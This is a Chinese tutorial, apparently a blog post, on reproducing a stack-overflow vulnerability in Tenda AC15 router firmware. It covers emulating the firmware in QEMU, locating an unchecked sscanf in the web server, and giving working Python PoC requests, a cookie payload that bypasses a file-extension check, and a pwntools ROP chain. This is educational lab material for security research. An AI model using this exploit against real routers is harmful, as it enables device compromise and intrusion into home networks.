tenda固件栈溢出漏洞挖掘和iot常用工具介绍和使用
字数 993 2025-08-22 12:23:00

Tenda AC15路由器固件栈溢出漏洞分析与利用教学文档

1. 环境准备

1.1 固件获取

  • 路由器型号: Tenda AC15
  • 固件版本: 15.03.1.16_multi
  • 下载地址: https://drivers.softpedia.com/dyn-postdownload.php/d27e8410d32cd9de63a3506c47ded1bc/61ff85c5/75eb7/4/1

1.2 工具安装

sudo apt install binwalk qemu-user-static libc6-arm* libc6-dev-arm* uml-utilities bridge-utils

2. 固件分析

2.1 固件解包

使用binwalk提取固件内容:

binwalk -Me US.bin

2.2 文件架构分析

分析httpd可执行文件:

readelf -h squashfs-root/bin/httpd

输出显示为32位ARM架构的ELF文件。

3. 仿真环境搭建

3.1 QEMU配置

cp /usr/bin/qemu-arm-static .
sudo chroot ./ ./qemu-arm-static ./bin/httpd

3.2 补丁修改

使用IDA Pro打开httpd文件:

  1. 搜索"WeLoveLinux"字符串
  2. 找到死循环位置,将CMP R3,#0修改为CMP R3,#1
  3. 保存修改

3.3 网络配置

sudo brctl addbr br0
sudo brctl addif br0 eth0
sudo ifconfig br0 up
sudo dhclient br0
sudo tunctl -t br0 -u `whoami`
sudo ifconfig br0 192.168.65.1/24

4. 漏洞分析

4.1 漏洞位置

漏洞位于R7WebsSecurityHandler函数中:

if (*(_DWORD *)(a1 + 184)) {
    v40 = strstr(*(const char **)(a1 + 184), "password=");
    if (v40)
        sscanf(v40, "%s", v33);
    else
        sscanf(*(const char **)(a1 + 184), "%s", v33);
}

未对用户输入进行长度检查,导致栈溢出。

4.2 访问路径限制

需要构造不在以下列表中的路径:

/public/
/lang/
img/main-logo.png
reasy-ui-1.0.3.js
/favicon.ico
/kns-query
/wdinfo.php
/goform/telnet
/goform/fast_setting
/goform/ate
/goform/InsertWhite
/yun_safe.html
/goform/getWanConnectStatus
/goform/getProduct
/goform/getRebootStatus
/loginerr.html

5. 漏洞利用

5.1 调试设置

sudo chroot ./ ./qemu-arm-static -g 4444 ./bin/httpd

在另一个终端:

gdb-multiarch ./httpd
target remote :4444
b *0x002ED18  # 在漏洞函数结束处设置断点
continue

5.2 初始PoC

import requests
URL = "http://192.168.7.44:80/goform/blonet"
cookie = {"Cookie": "password=" + "a" * 0x400}
requests.get(url=URL, cookies=cookie)

5.3 绕过检查

发现程序在0x0002c5cc处停止,需要绕过文件扩展名检查:

import requests
URL = "http://192.168.7.44:80/goform/blonet"
cookie = {"Cookie": "password=" + "a" * 0x400 + ".pngAAA"}
requests.get(url=URL, cookies=cookie)

5.4 ROP链构造

获取libc基地址后构造ROP链:

from pwn import *

base = 0xf65e5000  # libc基地址
libc = ELF('./lib/libc.so.0')
puts = base + libc.sym['puts']
_str = "Hello \x00"

mov_r0 = base + 0x00040cb8  # mov r0, sp; blx r3;
pop_r3 = base + 0x00018298  # pop {r3, pc};

URL = "http://192.168.7.44:80/goform/hello"
pl = 'a' * 444 + ".png" + p32(pop_r3) + p32(puts) + p32(mov_r0) + _str
cookie = {"Cookie": "password=" + pl}
requests.get(url=URL, cookies=cookie)

6. 关键点总结

  1. 固件分析: 使用binwalk提取固件,确认架构为ARM32
  2. 环境搭建: 使用QEMU模拟ARM环境,配置网络桥接
  3. 漏洞定位: 在httpd的R7WebsSecurityHandler函数中发现未检查长度的sscanf调用
  4. 路径绕过: 构造不在黑名单中的路径(如/goform/blonet)
  5. 检查绕过: 添加.png后缀绕过文件扩展名检查
  6. ROP利用: 利用已知gadget构造ROP链执行任意代码

7. 扩展知识

  1. ARM架构调用约定: 前四个参数通过R0-R3传递,返回值通过R0返回
  2. 栈布局: 需要精确计算偏移量覆盖返回地址
  3. 内存保护: QEMU默认不开启ASLR,便于调试
  4. 漏洞利用技巧: 使用字符串操作函数作为攻击向量时,注意空字节和特殊字符的处理

通过以上步骤,可以完整复现Tenda AC15路由器的栈溢出漏洞并实现利用。

Tenda AC15路由器固件栈溢出漏洞分析与利用教学文档 1. 环境准备 1.1 固件获取 路由器型号: Tenda AC15 固件版本: 15.03.1.16_ multi 下载地址: https://drivers.softpedia.com/dyn-postdownload.php/d27e8410d32cd9de63a3506c47ded1bc/61ff85c5/75eb7/4/1 1.2 工具安装 2. 固件分析 2.1 固件解包 使用binwalk提取固件内容: 2.2 文件架构分析 分析httpd可执行文件: 输出显示为32位ARM架构的ELF文件。 3. 仿真环境搭建 3.1 QEMU配置 3.2 补丁修改 使用IDA Pro打开httpd文件: 搜索"WeLoveLinux"字符串 找到死循环位置,将 CMP R3,#0 修改为 CMP R3,#1 保存修改 3.3 网络配置 4. 漏洞分析 4.1 漏洞位置 漏洞位于 R7WebsSecurityHandler 函数中: 未对用户输入进行长度检查,导致栈溢出。 4.2 访问路径限制 需要构造不在以下列表中的路径: 5. 漏洞利用 5.1 调试设置 在另一个终端: 5.2 初始PoC 5.3 绕过检查 发现程序在0x0002c5cc处停止,需要绕过文件扩展名检查: 5.4 ROP链构造 获取libc基地址后构造ROP链: 6. 关键点总结 固件分析 : 使用binwalk提取固件,确认架构为ARM32 环境搭建 : 使用QEMU模拟ARM环境,配置网络桥接 漏洞定位 : 在httpd的R7WebsSecurityHandler函数中发现未检查长度的sscanf调用 路径绕过 : 构造不在黑名单中的路径(如/goform/blonet) 检查绕过 : 添加.png后缀绕过文件扩展名检查 ROP利用 : 利用已知gadget构造ROP链执行任意代码 7. 扩展知识 ARM架构调用约定 : 前四个参数通过R0-R3传递,返回值通过R0返回 栈布局 : 需要精确计算偏移量覆盖返回地址 内存保护 : QEMU默认不开启ASLR,便于调试 漏洞利用技巧 : 使用字符串操作函数作为攻击向量时,注意空字节和特殊字符的处理 通过以上步骤,可以完整复现Tenda AC15路由器的栈溢出漏洞并实现利用。